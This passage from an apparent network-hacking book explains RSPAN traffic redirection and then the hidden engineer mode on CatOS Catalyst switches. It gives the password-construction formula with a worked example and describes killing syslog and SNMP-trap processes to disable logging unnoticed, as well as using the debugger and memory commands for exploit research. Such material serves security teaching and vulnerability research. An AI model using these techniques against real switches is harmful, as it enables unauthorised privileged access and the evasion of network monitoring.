Congratulations! You have managed to set a whole network to forward you traffic from the hosts you are interested in without using any ARP, ICMP, Layer 2, routing, or DNS spoofing tricks. To find more about the RSPAN options and configuration, check out the Cisco web site at http://www.cisco.com/univercd/cc/td/doc/product/lan/cat6000/sw_5_5/cmd_refr/setsn_su.htm#wp1025088 and http://www.cisco.com/univercd/cc/td/doc/product/lan/cat6000/sw_5_5/cnfg_gd/span.htm#1020171 .
The Secret CatOS Enable Engineer Mode
| Attack |
|
Can anything else be done with a CatOS switch? Apparently, yes. A hidden engineer mode is available for Cisco Technical Assistance Center (TAC) engineers to troubleshoot switch problems. From the attacker's viewpoint, it extends the capabilities of someone who manages to take over the switch and can even lead to the discovery of new vulner- abilities .
To access the engineer mode on a CatOS 5000 or 6000 series switch, you must be enabled and execute the enable engineer command. You will be asked for the password to enter. A few online sources describe how such a password is constructed ; however, in our experience many of these descriptions are incorrect. So we'll present what worked for us while testing Catalyst 5000. Prior to typing enable engineer and hitting ENTER , run show version:
Gromozeka (enable) sh ver WS-C5000 Software, Version McpSW: 4.5(12a) NmpSW: 4.5(12a) <skip> Mod Port Model Serial # Versions --- ---- ---------- --------- --------------------------- 1 2 WS-X5009 002660741 Hw : 1.8 Fw : 1.4 Fw1: 1.4 Sw : 4.5(12a) 4 12 WS-X5213 002294746 Hw : 1.2 Fw : 1.4 Sw : 4.5(12a) <skip>
What we need from this output is the first two digits, without the dots, from Hw, Fw, and Sw versions of the switch Supervisor Engine (module 1). Ignore all other Catalyst modules present. The enable engineer password is constructed as follows : passwordHWFWSWenablepass . For example, if the unprivileged user password is goldfinger and the enable password is goldeneye , using the show version output from our switch, the engineer password would be goldfinger181445goldeneye . Construct the password as we have recommended, execute enable engineer , and enter the password. You should see output such as nameoftheswitch(debug-eng) . Try ? , show? , set? , and clear? and see the amount of available commands and settings multiply!
Let's see what benefits (apart from causing possible severe harm to the switch) the engineer mode can bring to a lucky attacker. First of all, better networking tools are at handa more extended ping , a proper traceroute , and, possibly, ssh and scp . Then there are good old UNIX ps , kill , and renice (in the form of a set priority ) commands (remember the CatOS ancestry!). Consider running ps and then using kill to turn off processes like SysLogTask and SnmpTraps. The configuration file entries would still be there, but logging won't work and SNMP traps won't be sent. What could be a better way of getting rid of logging on a CatOS switch without raising additional alarms?
Many other controls are available in the debug-eng mode, ranging from fine-tuning the DTP settings (see Chapter 12 to discover the importance of this protocol for the attackers) via set dtp and modifying the forwarding table entries via set ftentry to forcing the switch to accept incorrect MAC addresses with set option mac disable . Consult Appendix C of this book for the list of typical debug-eng commands or, even better, check them out on your Catalyst 5000 series switch.
However, the main value of the engineer mode is for a serious and highly skilled attacker looking to discover new CatOS vulnerabilities or the possibility of a CatOS binary patching for separate switch modules. First of all, a GDB debugger is available (but has to be turned on):
Gromozeka (debug-eng) set debugger? Usage: set debugger <enabledisablestart*gt;
In addition, an in-built process tracing functionality is complimented with set tpoint :
Gromozeka (debug-eng) set trace? Usage: set trace <category> [level] (category = allbigacdpconfigdiagdtpdnsdripdynvlan earlepldessrfilesyslanellcltlmbufmcastmdgmls ntppagpscpsecurityslpsnmpspantreesynfig syslogtacacstesttftpverbosevmpsvtp level = 0..255, 0 to disable, default is 1)
The process tracing should be used with care to avoid crashing the switch and caus-ing constant reboot. In such a case, you will have to send a break sequence through a console connection and wipe out the switch config as soon as possible. A variety of en able engineer mode show commands are also helpful in exploitation and reverse engineering. These commands include show alloc , show malloc , show mbuf with its options, and show memsize <process ID> <block size> . As an example, consider show alloc and a separate process show memuse output:
Gromozeka (debug-eng) show alloc +-----------------------+ top of memory +-----------------------+ Stack Area Download area=437b5c st_dnld 10f86890 +-----------------------+ Download Area st_expmbuf 10f86800 +-----------------------+ Expand Mbuf Area mbuf cluster=b57 st_clspace 10aeb000 +-----------------------+ Cluster Mbuf Area mbuf=2c3 st_mspace 10a3a400 +-----------------------+ Mbuf Area Wasted space malloc_end 10a3a3d4 +-----------------------+ malloc_begin 1043c834 +-----------------------+ Malloc Area st_mclref_sp 1043bcdc +-----------------------+ Cluster Ref Area st_clicksp 10438f80 +-----------------------+ BSS end 10438f7c Begin free space Code, Data and bss DRAM_START 10000000 +-----------------------+ Gromozeka (debug-eng) show memuse 4 20000 Malloc region begins at 0x1043c834 Malloc region ends at 0x10a3a3d4 Process: telnet04 caller addr malloc addr size ---------- -------- --------- 0x10298da6 0x104f9ec4 80016 Total 214880
Since CatOS is slowly dying out and being gradually replaced by Cisco IOS, we didn't look deeply into its exploitation, considering IOS to be a more interesting and relevant target (see Chapter 8 and the rest of this chapter). Nevertheless, we are sure that some of our readers will find the opportunities provided by the CatOS enable engineer mode to be valuable in their Catalyst vulnerability research.
| | ||
| | ||
| | ||
EAN: 2147483647
Pages: 117